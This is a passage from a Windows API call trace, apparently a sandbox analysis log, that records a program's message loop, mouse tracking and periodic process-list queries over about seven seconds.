wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0300.400] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0300.400] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0300.400] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x7178) returned 0x0 [0300.401] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0300.401] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0300.401] WaitMessage () returned 1 [0300.861] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0300.861] IsWindowUnicode (hWnd=0x10166) returned 1 [0300.861] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0300.861] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0300.861] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0300.861] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0300.861] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0300.861] WaitMessage () returned 1 [0301.223] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0301.224] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0x1180352) returned 0x1 [0301.224] IsWindowUnicode (hWnd=0x1015e) returned 1 [0301.224] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0301.224] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0x1180352) returned 0x1 [0301.225] SetCursor (hCursor=0x10003) returned 0x10003 [0301.225] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0301.225] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0301.225] _TrackMouseEvent (in: lpEventTrack=0x2aa14c0 | out: lpEventTrack=0x2aa14c0) returned 1 [0301.225] SendMessageW (hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0301.225] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0301.225] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x200, wParam=0x0, lParam=0x41016c) returned 0x0 [0301.225] GetKeyState (nVirtKey=1) returned 0 [0301.226] GetKeyState (nVirtKey=2) returned 0 [0301.226] GetKeyState (nVirtKey=4) returned 0 [0301.226] GetKeyState (nVirtKey=5) returned 0 [0301.226] GetKeyState (nVirtKey=6) returned 0 [0301.226] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0301.226] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0301.226] WaitMessage () returned 1 [0301.326] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0301.326] IsWindowUnicode (hWnd=0x1015e) returned 1 [0301.326] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0301.326] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0301.326] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0301.326] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0301.326] IsWindowUnicode (hWnd=0x1015e) returned 1 [0301.326] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0301.326] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0301.326] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0301.326] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a1, wParam=0x0, lParam=0x41016c) returned 0x0 [0301.326] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0301.327] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0301.327] WaitMessage () returned 1 [0301.388] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0301.388] IsWindowUnicode (hWnd=0x10166) returned 1 [0301.388] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0301.388] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0301.388] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0301.388] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0301.388] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0301.388] WaitMessage () returned 1 [0301.919] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0301.919] IsWindowUnicode (hWnd=0x10166) returned 1 [0301.919] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0301.919] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0301.919] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0301.919] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0301.919] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0301.919] WaitMessage () returned 1 [0302.235] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0302.235] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0302.235] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0302.235] IsWindowUnicode (hWnd=0x1015e) returned 1 [0302.235] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0302.235] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0302.235] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0302.235] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0302.235] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0302.235] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0302.235] WaitMessage () returned 1 [0302.402] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0302.402] IsWindowUnicode (hWnd=0x1015c) returned 1 [0302.402] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0302.402] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0302.402] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0302.402] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x70b8) returned 0x0 [0302.406] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0302.406] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0302.407] WaitMessage () returned 1 [0302.449] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0302.449] IsWindowUnicode (hWnd=0x10166) returned 1 [0302.449] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0302.449] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0302.449] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0302.449] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0302.449] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0302.449] WaitMessage () returned 1 [0302.979] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0302.979] IsWindowUnicode (hWnd=0x10166) returned 1 [0302.979] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0302.980] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0302.980] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0302.980] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0302.980] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0302.980] WaitMessage () returned 1 [0303.510] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0303.510] IsWindowUnicode (hWnd=0x10166) returned 1 [0303.510] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0303.510] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0303.510] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0303.510] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0303.510] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0303.510] WaitMessage () returned 1 [0304.040] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0304.040] IsWindowUnicode (hWnd=0x10166) returned 1 [0304.040] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0304.040] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0304.040] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0304.041] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0304.041] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0304.041] WaitMessage () returned 1 [0304.264] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0304.264] MapWindowPoints (in: hWndFrom=0x10172, hWndTo=0x0, lpPoints=0xb6ed50, cPoints=0x2 | out: lpPoints=0xb6ed50) returned 21103092 [0304.264] IsWindowUnicode (hWnd=0x10172) returned 1 [0304.264] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0304.264] MapWindowPoints (in: hWndFrom=0x10172, hWndTo=0x0, lpPoints=0xb6ed90, cPoints=0x2 | out: lpPoints=0xb6ed90) returned 21103092 [0304.265] SetCursor (hCursor=0x10003) returned 0x10003 [0304.265] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0304.265] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0304.265] _TrackMouseEvent (in: lpEventTrack=0x2aa1524 | out: lpEventTrack=0x2aa1524) returned 1 [0304.265] SendMessageW (hWnd=0x10172, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0304.265] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0304.265] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x200, wParam=0x0, lParam=0x500e8) returned 0x0 [0304.265] GetKeyState (nVirtKey=1) returned 0 [0304.265] GetKeyState (nVirtKey=2) returned 0 [0304.265] GetKeyState (nVirtKey=4) returned 0 [0304.265] GetKeyState (nVirtKey=5) returned 0 [0304.265] GetKeyState (nVirtKey=6) returned 0 [0304.265] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0304.266] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0304.266] WaitMessage () returned 1 [0304.368] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0304.368] IsWindowUnicode (hWnd=0x10172) returned 1 [0304.368] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0304.368] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0304.368] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0304.368] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0304.368] IsWindowUnicode (hWnd=0x10172) returned 1 [0304.368] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0304.368] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0304.368] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0304.368] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x2a1, wParam=0x0, lParam=0x500e8) returned 0x0 [0304.368] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0304.368] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0304.368] WaitMessage () returned 1 [0304.415] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0304.415] IsWindowUnicode (hWnd=0x1015c) returned 1 [0304.415] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0304.415] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0304.415] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0304.415] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x7038) returned 0x0 [0304.423] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0304.423] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0304.423] WaitMessage () returned 1 [0304.571] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0304.571] IsWindowUnicode (hWnd=0x10166) returned 1 [0304.571] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0304.571] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0304.571] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0304.571] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0304.571] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0304.571] WaitMessage () returned 1 [0305.102] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0305.102] IsWindowUnicode (hWnd=0x10166) returned 1 [0305.102] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0305.102] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0305.102] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0305.102] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0305.102] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0305.102] WaitMessage () returned 1 [0305.275] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0305.275] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0305.275] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0305.275] IsWindowUnicode (hWnd=0x10172) returned 1 [0305.275] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0305.275] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0305.275] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0305.275] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0305.275] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0305.275] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0305.275] WaitMessage () returned 1 [0305.631] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0305.632] IsWindowUnicode (hWnd=0x10166) returned 1 [0305.632] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0305.632] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0305.632] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0305.632] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0305.632] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0305.632] WaitMessage () returned 1 [0306.162] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0306.162] IsWindowUnicode (hWnd=0x10166) returned 1 [0306.162] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0306.162] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0306.162] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0306.162] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0306.162] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0306.163] WaitMessage () returned 1 [0306.427] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0306.427] IsWindowUnicode (hWnd=0x1015c) returned 1 [0306.427] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0306.427] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0306.427] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0306.427] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6fb8) returned 0x0 [0306.429] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0306.429] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0306.429] WaitMessage () returned 1 [0306.692] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0306.692] IsWindowUnicode (hWnd=0x10166) returned 1 [0306.692] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0306.692] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0306.692] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0306.693] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0306.693] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0306.693] WaitMessage () returned 1 [0307.223] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0307.223] IsWindowUnicode (hWnd=0x10166) returned 1 [0307.223] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0307.223] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0307.223] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0307.223] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0307.223] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0307.223] WaitMessage () returned 1 [0307.753] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0307.753] IsWindowUnicode (hWnd=0x10166) returned 1 [0307.753] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, 